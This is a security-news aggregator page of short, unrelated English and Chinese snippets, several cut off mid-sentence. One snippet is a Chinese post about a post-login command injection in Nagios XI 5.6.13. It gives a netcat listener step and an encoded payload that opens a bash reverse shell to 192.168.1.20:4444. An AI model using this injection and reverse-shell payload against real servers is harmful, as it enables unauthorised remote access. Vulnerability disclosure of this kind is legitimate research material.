Aggregator

The healthcare industry is adopting a decade of digital transformation in a matter of months, with the risk exposure to match. F5 Labs' Preston Hogue writes for SecurityWeek, discussing the vital need for security expertise to lend a hand.

Learn how microsegmentation allows financial institutions to achieve goals, from automation to streamlining firewall compliance, while protected.

统一Unix系统登录日志、操作命令日志，可以作为系统日志的有效补充

登陆后的，比较鸡肋。4月份发现的，一直放着，后来看官网更新了，直接发出来吧。另外官方还有一个明显的sql注入没修复。不过也是登陆后，感兴趣的可以去看一下。

简要信息

版本： 5.6.13（5.6.11版本也存在问题，只需要把最后文件名字中的 - 去掉）
条件：登陆后
漏洞文件相关路径：/includes/components/xicore/export-rrd.php、includes/utils-rrdexport.inc.php
漏洞参数：step、start、end

环境

python3
requests库，使用pip3安装即可。python3 -m pip install requests

运行

1. 首先在远程机器上监听端口，用于反弹。命令：nc -l -v -p 4444
2. python3 nagiox.py target (注：需带协议，如http或https)

另外，如果需要执行自己的命令，需要修改commond变量就可以了，这里也懒得改了。脚本中的命令"1|(echo+\"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAvNDQ0NCAwPiYx\"|base64+-d+|sh+-i);#"
其实就是执行的bash -i >& /dev/tcp/192.168.1.20/4444 0>&1

代码（保存为py文件）

0x00 前言

为了监控 ElasticSearch Cluster 被非预期删除、创建等情况，需要搞一个监控，当监

The internationalized domain name (IDN) homograph attack is used to form domain names that visually resemble legitimate domain names, albeit, using a different set of characters [1]. For example, the IDN

On May 2, 2020, Akamai blocked a large PPS-focused attack against one of our financial services customers in 0 seconds, utilizing a proactive mitigation posture. This was one of the largest PPS levels we have on record, and the biggest mitigated to date in 0 seconds. The attacker launched a bevy of minimally sized UDP packets in an attempt to overwhelm network gear in the customer's data center.

Andrew A explains the updated guidance for Microsoft Office macros

With 5G set to transform mobile services, Ian Levy explains how the UK has approached telecoms security, and what that means for the future.

用一天时间写完的网鼎杯四组Web题的总结，如有差错还请师傅们斧正

最近看到一个查找子域名的平台https://rapiddns.io/ 数据来源于opendata.rap

探索性分析1999-2020年CVE数据，得到几点推论。

激荡三十年

TTPS是Tactics（战术）, Techniques（技术）, Procedures（程序或者过程、步骤）的缩写。TTP最初用于反恐，根据世界范围内所有恐怖分子或组织实施袭击分析和研究，恐怖分子的攻击可以用TTP的方式描述。

文章第二次删了，原因在里面。

The results of phishing campaigns are often not comparable with each other over time. Various security vendors and red teams use different tooling and techniques - which is totally fine. However, I recommend requiring tracking a minimum set of metrics to be able to compare results over time. Funny side facts: At times employees are messing with the red team, entering invalid creds for CISO or CEO and things along those lines.

黑客李泉倾情打造

Telecom touches everything that everyone does, and the insertion points are nearly limitless. F5 Labs' Preston Hogue writes for SecurityWeek, discussing the specific prevention measures telecom providers can take to protect themselves and their customers.

Worked examples for Operational Technology and Virtualised systems, using the NCSC’s secure design principles

The three most effective steps you can take in under an hour to guard against identity theft.